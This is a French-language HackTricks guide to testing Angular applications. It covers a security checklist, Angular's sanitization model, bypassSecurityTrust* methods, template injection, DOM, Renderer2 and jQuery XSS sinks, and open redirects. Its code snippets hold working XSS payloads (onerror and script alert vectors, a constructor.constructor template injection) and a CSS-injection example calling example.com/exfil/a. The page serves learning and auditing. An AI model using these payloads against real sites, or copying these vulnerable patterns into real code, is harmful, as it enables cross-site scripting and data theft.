Angular
Reading time: 22 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
La Liste de Vérification
Checklist from here.
- Angular est considéré comme un framework cÎté client et n'est pas censé fournir de protection cÎté serveur
- Le sourcemap pour les scripts est désactivé dans la configuration du projet
- Les entrĂ©es utilisateur non fiables sont toujours interpolĂ©es ou assainies avant d'ĂȘtre utilisĂ©es dans les templates
- L'utilisateur n'a aucun contrÎle sur les templates cÎté serveur ou cÎté client
- Les entrĂ©es utilisateur non fiables sont assainies en utilisant un contexte de sĂ©curitĂ© appropriĂ© avant d'ĂȘtre considĂ©rĂ©es comme fiables par l'application
-
Les méthodes
BypassSecurity*
ne sont pas utilisées avec des entrées non fiables -
Les entrées utilisateur non fiables ne sont pas passées aux classes Angular telles que
ElementRef
,Renderer2
etDocument
, ou Ă d'autres sinks JQuery/DOM
Qu'est-ce qu'Angular
Angular est un framework front-end puissant et open-source maintenu par Google. Il utilise TypeScript pour amĂ©liorer la lisibilitĂ© du code et le dĂ©bogage. Avec de forts mĂ©canismes de sĂ©curitĂ©, Angular prĂ©vient les vulnĂ©rabilitĂ©s courantes cĂŽtĂ© client comme XSS et redirections ouvertes. Il peut Ă©galement ĂȘtre utilisĂ© cĂŽtĂ© serveur, rendant les considĂ©rations de sĂ©curitĂ© importantes des deux cĂŽtĂ©s.
Architecture du framework
Afin de mieux comprendre les bases d'Angular, passons en revue ses concepts essentiels.
Un projet Angular commun ressemble généralement à :
my-workspace/
âââ ... #workspace-wide configuration files
âââ src
â âââ app
â â âââ app.module.ts #defines the root module, that tells Angular how to assemble the application
â â âââ app.component.ts #defines the logic for the application's root component
â â âââ app.component.html #defines the HTML template associated with the root component
â â âââ app.component.css #defines the base CSS stylesheet for the root component
â â âââ app.component.spec.ts #defines a unit test for the root component
â â âââ app-routing.module.ts #provides routing capability for the application
â âââ lib
â â âââ src #library-specific configuration files
â âââ index.html #main HTML page, where the component will be rendered in
â âââ ... #application-specific configuration files
âââ angular.json #provides workspace-wide and project-specific configuration defaults
âââ tsconfig.json #provides the base TypeScript configuration for projects in the workspace
Selon la documentation, chaque application Angular a au moins un composant, le composant racine (AppComponent
) qui connecte une hiérarchie de composants avec le DOM. Chaque composant définit une classe qui contient des données et une logique d'application, et est associée à un modÚle HTML qui définit une vue à afficher dans un environnement cible. Le décorateur @Component()
identifie la classe immédiatement en dessous comme un composant, et fournit le modÚle et les métadonnées spécifiques au composant. Le AppComponent
est défini dans le fichier app.component.ts
.
Les NgModules Angular déclarent un contexte de compilation pour un ensemble de composants qui est dédié à un domaine d'application, un flux de travail, ou un ensemble de capacités étroitement liées. Chaque application Angular a un module racine, conventionnellement nommé AppModule
, qui fournit le mécanisme de démarrage qui lance l'application. Une application contient généralement de nombreux modules fonctionnels. Le AppModule
est défini dans le fichier app.module.ts
.
Le NgModule Router
d'Angular fournit un service qui vous permet de définir un chemin de navigation parmi les différents états d'application et hiérarchies de vues dans votre application. Le RouterModule
est défini dans le fichier app-routing.module.ts
.
Pour les données ou la logique qui ne sont pas associées à une vue spécifique, et que vous souhaitez partager entre les composants, vous créez une classe de service. La définition d'une classe de service est immédiatement précédée du décorateur @Injectable()
. Le dĂ©corateur fournit les mĂ©tadonnĂ©es qui permettent Ă d'autres fournisseurs d'ĂȘtre injectĂ©s en tant que dĂ©pendances dans votre classe. L'injection de dĂ©pendance (DI) vous permet de garder vos classes de composants lĂ©gĂšres et efficaces. Elles ne rĂ©cupĂšrent pas de donnĂ©es du serveur, ne valident pas les entrĂ©es utilisateur, ou ne se connectent pas directement Ă la console ; elles dĂ©lĂšguent de telles tĂąches aux services.
Configuration de sourcemap
Le framework Angular traduit les fichiers TypeScript en code JavaScript en suivant les options de tsconfig.json
et construit ensuite un projet avec la configuration angular.json
. En regardant le fichier angular.json
, nous avons observé une option pour activer ou désactiver un sourcemap. Selon la documentation Angular, la configuration par défaut a un fichier sourcemap activé pour les scripts et n'est pas caché par défaut :
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
Généralement, les fichiers sourcemap sont utilisés à des fins de débogage car ils associent les fichiers générés à leurs fichiers d'origine. Par conséquent, il n'est pas recommandé de les utiliser dans un environnement de production. Si les sourcemaps sont activés, cela améliore la lisibilité et aide à l'analyse des fichiers en reproduisant l'état d'origine du projet Angular. Cependant, s'ils sont désactivés, un examinateur peut toujours analyser manuellement un fichier JavaScript compilé en recherchant des motifs anti-sécurité.
De plus, un fichier JavaScript compilĂ© avec un projet Angular peut ĂȘtre trouvĂ© dans les outils de dĂ©veloppement du navigateur â Sources (ou DĂ©bogueur et Sources) â [id].main.js. Selon les options activĂ©es, ce fichier peut contenir la ligne suivante Ă la fin //# sourceMappingURL=[id].main.js.map
ou il peut ne pas l'avoir, si l'option hidden est dĂ©finie sur true. NĂ©anmoins, si le sourcemap est dĂ©sactivĂ© pour scripts, les tests deviennent plus complexes, et nous ne pouvons pas obtenir le fichier. De plus, le sourcemap peut ĂȘtre activĂ© lors de la construction du projet comme ng build --source-map
.
Liaison de données
La liaison fait rĂ©fĂ©rence au processus de communication entre un composant et sa vue correspondante. Elle est utilisĂ©e pour transfĂ©rer des donnĂ©es vers et depuis le framework Angular. Les donnĂ©es peuvent ĂȘtre transmises par divers moyens, tels que par le biais d'Ă©vĂ©nements, d'interpolation, de propriĂ©tĂ©s ou par le mĂ©canisme de liaison bidirectionnelle. De plus, les donnĂ©es peuvent Ă©galement ĂȘtre partagĂ©es entre des composants liĂ©s (relation parent-enfant) et entre deux composants non liĂ©s en utilisant la fonctionnalitĂ© Service.
Nous pouvons classer la liaison par flux de données :
- Source de donnĂ©es vers cible de vue (inclut interpolation, propriĂ©tĂ©s, attributs, classes et styles); peut ĂȘtre appliquĂ© en utilisant
[]
ou{{}}
dans le modĂšle ; - Cible de vue vers source de donnĂ©es (inclut Ă©vĂ©nements); peut ĂȘtre appliquĂ© en utilisant
()
dans le modĂšle ; - Bidirectionnelle ; peut ĂȘtre appliquĂ© en utilisant
[()]
dans le modĂšle.
La liaison peut ĂȘtre appelĂ©e sur des propriĂ©tĂ©s, des Ă©vĂ©nements et des attributs, ainsi que sur tout membre public d'une directive source :
TYPE | CIBLE | EXEMPLES |
---|---|---|
Propriété | Propriété d'élément, Propriété de composant, Propriété de directive | <img [alt]="hero.name" [src]="heroImageUrl"> |
ĂvĂ©nement | ĂvĂ©nement d'Ă©lĂ©ment, ĂvĂ©nement de composant, ĂvĂ©nement de directive | <button type="button" (click)="onSave()">Sauvegarder |
Bidirectionnelle | ĂvĂ©nement et propriĂ©tĂ© | <input [(ngModel)]="name"> |
Attribut | Attribut (l'exception) | <button type="button" [attr.aria-label]="help">aide |
Classe | propriété de classe | <div [class.special]="isSpecial">Spécial |
Style | propriété de style | <button type="button" [style.color]="isSpecial ? 'red' : 'green'"> |
ModÚle de sécurité Angular
La conception d'Angular inclut l'encodage ou la désinfection de toutes les données par défaut, rendant de plus en plus difficile la découverte et l'exploitation des vulnérabilités XSS dans les projets Angular. Il existe deux scénarios distincts pour le traitement des données :
- Interpolation ou
{{user_input}}
- effectue un encodage sensible au contexte et interprÚte l'entrée utilisateur comme du texte ;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
Résultat : <script>alert(1)</script><h1>test</h1>
2. Liaison aux propriétés, attributs, classes et styles ou [attribute]="user_input"
- effectue une désinfection basée sur le contexte de sécurité fourni.
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
Résultat : <div><h1>test</h1></div>
Il existe 6 types de SecurityContext
:
None
;HTML
est utilisé, lors de l'interprétation de la valeur comme HTML ;STYLE
est utilisé, lors de la liaison de CSS dans la propriétéstyle
;URL
est utilisé pour les propriétés d'URL, telles que<a href>
;SCRIPT
est utilisé pour le code JavaScript ;RESOURCE_URL
comme une URL qui est chargée et exécutée comme code, par exemple, dans<script src>
.
Vulnérabilités
Contourner les méthodes de confiance en matiÚre de sécurité
Angular introduit une liste de mĂ©thodes pour contourner son processus de dĂ©sinfection par dĂ©faut et indiquer qu'une valeur peut ĂȘtre utilisĂ©e en toute sĂ©curitĂ© dans un contexte spĂ©cifique, comme dans les cinq exemples suivants :
bypassSecurityTrustUrl
est utilisé pour indiquer que la valeur donnée est une URL de style sûre :
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Cliquez moi</a>
//résultat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Cliquez moi</a>
bypassSecurityTrustResourceUrl
est utilisé pour indiquer que la valeur donnée est une URL de ressource sûre :
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//résultat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtml
est utilisé pour indiquer que la valeur donnée est un HTML sûr. Notez que l'insertion d'élémentsscript
dans l'arbre DOM de cette maniÚre ne les fera pas exécuter le code JavaScript contenu, en raison de la façon dont ces éléments sont ajoutés à l'arbre DOM.
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>tag html</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//résultat
<h1>tag html</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
bypassSecurityTrustScript
est utilisé pour indiquer que la valeur donnée est un JavaScript sûr. Cependant, nous avons trouvé que son comportement était imprévisible, car nous n'avons pas pu exécuter de code JS dans les modÚles en utilisant cette méthode.
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//résultat
-
bypassSecurityTrustStyle
est utilisé pour indiquer que la valeur donnée est un CSS sûr. L'exemple suivant illustre l'injection de CSS :
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//résultat
Request URL: GET example.com/exfil/a
Angular fournit une méthode sanitize
pour désinfecter les données avant de les afficher dans les vues. Cette méthode utilise le contexte de sécurité fourni et nettoie l'entrée en conséquence. Il est cependant crucial d'utiliser le bon contexte de sécurité pour les données et le contexte spécifiques. Par exemple, appliquer un désinfectant avec SecurityContext.URL
sur du contenu HTML ne protÚge pas contre les valeurs HTML dangereuses. Dans de tels scénarios, un mauvais usage du contexte de sécurité pourrait conduire à des vulnérabilités XSS.
Injection HTML
Cette vulnérabilité se produit lorsque l'entrée utilisateur est liée à l'une des trois propriétés : innerHTML
, outerHTML
ou iframe
srcdoc
. Bien que la liaison à ces attributs interprÚte le HTML tel quel, l'entrée est désinfectée en utilisant SecurityContext.HTML
. Ainsi, l'injection HTML est possible, mais le cross-site scripting (XSS) ne l'est pas.
Exemple d'utilisation de innerHTML
:
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
Injection de modĂšle
Rendu cÎté client (CSR)
Angular utilise des modÚles pour construire des pages de maniÚre dynamique. L'approche consiste à enfermer les expressions de modÚle que Angular doit évaluer dans des accolades doubles ({{}}
). De cette maniÚre, le framework offre des fonctionnalités supplémentaires. Par exemple, un modÚle tel que {{1+1}}
s'afficherait comme 2.
En gĂ©nĂ©ral, Angular Ă©chappe les entrĂ©es utilisateur qui peuvent ĂȘtre confondues avec des expressions de modĂšle (par exemple, des caractĂšres tels que `< > ' " ``). Cela signifie que des Ă©tapes supplĂ©mentaires sont nĂ©cessaires pour contourner cette restriction, comme l'utilisation de fonctions qui gĂ©nĂšrent des objets de chaĂźne JavaScript pour Ă©viter d'utiliser des caractĂšres sur liste noire. Cependant, pour y parvenir, nous devons prendre en compte le contexte Angular, ses propriĂ©tĂ©s et ses variables. Par consĂ©quent, une attaque par injection de modĂšle peut apparaĂźtre comme suit :
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
Comme indiqué ci-dessus : constructor
fait référence à la portée de la propriété Object constructor
, nous permettant d'invoquer le constructeur String et d'exécuter un code arbitraire.
Rendu cÎté serveur (SSR)
Contrairement Ă CSR, qui se produit dans le DOM du navigateur, Angular Universal est responsable du SSR des fichiers de modĂšle. Ces fichiers sont ensuite livrĂ©s Ă l'utilisateur. MalgrĂ© cette distinction, Angular Universal applique les mĂȘmes mĂ©canismes de dĂ©sinfection utilisĂ©s dans CSR pour amĂ©liorer la sĂ©curitĂ© du SSR. Une vulnĂ©rabilitĂ© d'injection de modĂšle dans le SSR peut ĂȘtre dĂ©tectĂ©e de la mĂȘme maniĂšre que dans le CSR, car le langage de modĂšle utilisĂ© est le mĂȘme.
Bien sûr, il existe également une possibilité d'introduire de nouvelles vulnérabilités d'injection de modÚle lors de l'utilisation de moteurs de modÚle tiers tels que Pug et Handlebars.
XSS
Interfaces DOM
Comme indiqué précédemment, nous pouvons accéder directement au DOM en utilisant l'interface Document. Si l'entrée de l'utilisateur n'est pas validée au préalable, cela peut entraßner des vulnérabilités de script intersite (XSS).
Nous avons utilisé les méthodes document.write()
et document.createElement()
dans les exemples ci-dessous :
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
Classes Angular
Il existe certaines classes qui peuvent ĂȘtre utilisĂ©es pour travailler avec des Ă©lĂ©ments DOM dans Angular : ElementRef
, Renderer2
, Location
et Document
. Une description détaillée des deux derniÚres classes est donnée dans la section Open redirects. La principale différence entre les deux premiÚres est que l'API Renderer2
fournit une couche d'abstraction entre l'élément DOM et le code du composant, tandis que ElementRef
ne contient qu'une référence à l'élément. Par conséquent, selon la documentation Angular, l'API ElementRef
ne doit ĂȘtre utilisĂ©e qu'en dernier recours lorsque l'accĂšs direct au DOM est nĂ©cessaire.
ElementRef
contient la propriéténativeElement
, qui peut ĂȘtre utilisĂ©e pour manipuler les Ă©lĂ©ments DOM. Cependant, une utilisation incorrecte denativeElement
peut entraßner une vulnérabilité d'injection XSS, comme montré ci-dessous :
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
- Bien que
Renderer2
fournisse une API qui peut ĂȘtre utilisĂ©e en toute sĂ©curitĂ© mĂȘme lorsque l'accĂšs direct aux Ă©lĂ©ments natifs n'est pas pris en charge, elle prĂ©sente encore certaines failles de sĂ©curitĂ©. AvecRenderer2
, il est possible de définir des attributs sur un élément HTML en utilisant la méthodesetAttribute()
, qui n'a pas de mécanismes de prévention XSS.
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
- Pour définir la propriété d'un élément DOM, vous pouvez utiliser la méthode
Renderer2.setProperty()
et déclencher une attaque XSS :
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
Au cours de nos recherches, nous avons également examiné le comportement d'autres méthodes Renderer2
, telles que setStyle()
, createComment()
, et setValue()
, en relation avec les injections XSS et CSS. Cependant, nous n'avons pas pu trouver de vecteurs d'attaque valides pour ces méthodes en raison de leurs limitations fonctionnelles.
jQuery
jQuery est une bibliothĂšque JavaScript rapide, lĂ©gĂšre et riche en fonctionnalitĂ©s qui peut ĂȘtre utilisĂ©e dans le projet Angular pour aider Ă manipuler les objets DOM HTML. Cependant, comme il est connu, les mĂ©thodes de cette bibliothĂšque peuvent ĂȘtre exploitĂ©es pour atteindre une vulnĂ©rabilitĂ© XSS. Afin de discuter de la maniĂšre dont certaines mĂ©thodes jQuery vulnĂ©rables peuvent ĂȘtre exploitĂ©es dans des projets Angular, nous avons ajoutĂ© cette sous-section.
- La méthode
html()
obtient le contenu HTML du premier élément dans l'ensemble des éléments correspondants ou définit le contenu HTML de chaque élément correspondant. Cependant, par conception, tout constructeur ou méthode jQuery qui accepte une chaßne HTML peut potentiellement exécuter du code. Cela peut se produire par injection de balises<script>
ou utilisation d'attributs HTML qui exécutent du code comme montré dans l'exemple.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
- La méthode
jQuery.parseHTML()
utilise des mĂ©thodes natives pour convertir la chaĂźne en un ensemble de nĆuds DOM, qui peuvent ensuite ĂȘtre insĂ©rĂ©s dans le document.
jQuery.parseHTML(data [, context ] [, keepScripts ])
Comme mentionné précédemment, la plupart des API jQuery qui acceptent des chaßnes HTML exécuteront des scripts qui sont inclus dans le HTML. La méthode jQuery.parseHTML()
ne lance pas de scripts dans le HTML analysé à moins que keepScripts
ne soit explicitement true
. Cependant, il est toujours possible dans la plupart des environnements d'exécuter des scripts indirectement ; par exemple, via l'attribut <img onerror>
.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
Open redirects
Interfaces DOM
Selon la documentation W3C, les objets window.location
et document.location
sont traitĂ©s comme des alias dans les navigateurs modernes. C'est pourquoi ils ont une mise en Ćuvre similaire de certaines mĂ©thodes et propriĂ©tĂ©s, ce qui pourrait causer un redirection ouverte et un XSS DOM avec des attaques au schĂ©ma javascript://
comme mentionné ci-dessous.
window.location.href
(etdocument.location.href
)
La maniĂšre canonique d'obtenir l'objet de localisation DOM actuel est d'utiliser window.location
. Il peut Ă©galement ĂȘtre utilisĂ© pour rediriger le navigateur vers une nouvelle page. En consĂ©quence, avoir le contrĂŽle sur cet objet nous permet d'exploiter une vulnĂ©rabilitĂ© de redirection ouverte.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
Le processus d'exploitation est identique pour les scénarios suivants.
window.location.assign()
(etdocument.location.assign()
)
Cette mĂ©thode fait en sorte que la fenĂȘtre charge et affiche le document Ă l'URL spĂ©cifiĂ©e. Si nous avons le contrĂŽle sur cette mĂ©thode, cela pourrait ĂȘtre un point d'entrĂ©e pour une attaque de redirection ouverte.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
window.location.replace()
(etdocument.location.replace()
)
Cette méthode remplace la ressource actuelle par celle à l'URL fournie.
Cela diffÚre de la méthode assign()
en ce sens qu'aprÚs avoir utilisé window.location.replace()
, la page actuelle ne sera pas enregistrée dans l'historique de session. Cependant, il est également possible d'exploiter une vulnérabilité de redirection ouverte lorsque nous avons le contrÎle sur cette méthode.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
window.open()
La méthode window.open()
prend une URL et charge la ressource qu'elle identifie dans un nouvel onglet ou une nouvelle fenĂȘtre existante. Avoir le contrĂŽle sur cette mĂ©thode pourrait Ă©galement ĂȘtre une opportunitĂ© de dĂ©clencher une vulnĂ©rabilitĂ© XSS ou de redirection ouverte.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
Classes Angular
- Selon la documentation Angular,
Document
Angular est le mĂȘme que le document DOM, ce qui signifie qu'il est possible d'utiliser des vecteurs communs pour le document DOM afin d'exploiter des vulnĂ©rabilitĂ©s cĂŽtĂ© client dans Angular. Les propriĂ©tĂ©s et mĂ©thodesDocument.location
pourraient ĂȘtre des points d'entrĂ©e pour des attaques de redirection ouverte rĂ©ussies comme montrĂ© dans l'exemple :
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
- Au cours de la phase de recherche, nous avons également examiné la classe
Location
d'Angular pour des vulnérabilités de redirection ouverte, mais aucun vecteur valide n'a été trouvé.Location
est un service Angular que les applications peuvent utiliser pour interagir avec l'URL actuelle du navigateur. Ce service a plusieurs méthodes pour manipuler l'URL donnée -go()
,replaceState()
, etprepareExternalUrl()
. Cependant, nous ne pouvons pas les utiliser pour rediriger vers un domaine externe. Par exemple :
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
Résultat : http://localhost:4200/http://google.com/about
- La classe
Router
d'Angular est principalement utilisĂ©e pour naviguer au sein du mĂȘme domaine et n'introduit aucune vulnĂ©rabilitĂ© supplĂ©mentaire Ă l'application :
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
Résultat : http://localhost:4200/https:
Les méthodes suivantes naviguent également dans le cadre du domaine :
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
Références
- Angular
- Angular Security: The Definitive Guide (Part 1)
- Angular Security: The Definitive Guide (Part 2)
- Angular Security: The Definitive Guide (Part 3)
- Angular Security: Checklist
- Workspace and project file structure
- Introduction to components and templates
- Source map configuration
- Binding syntax
- Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet
- Sanitization and security contexts
- GitHub - angular/dom_security_schema.ts
- XSS in Angular and AngularJS
- Angular Universal
- DOM XSS
- Angular ElementRef
- Angular Renderer2
- Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub
- jQuery API Documentation
- How To Use jQuery With Angular (When You Absolutely Have To)
- Angular Document
- Angular Location
- Angular Router
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.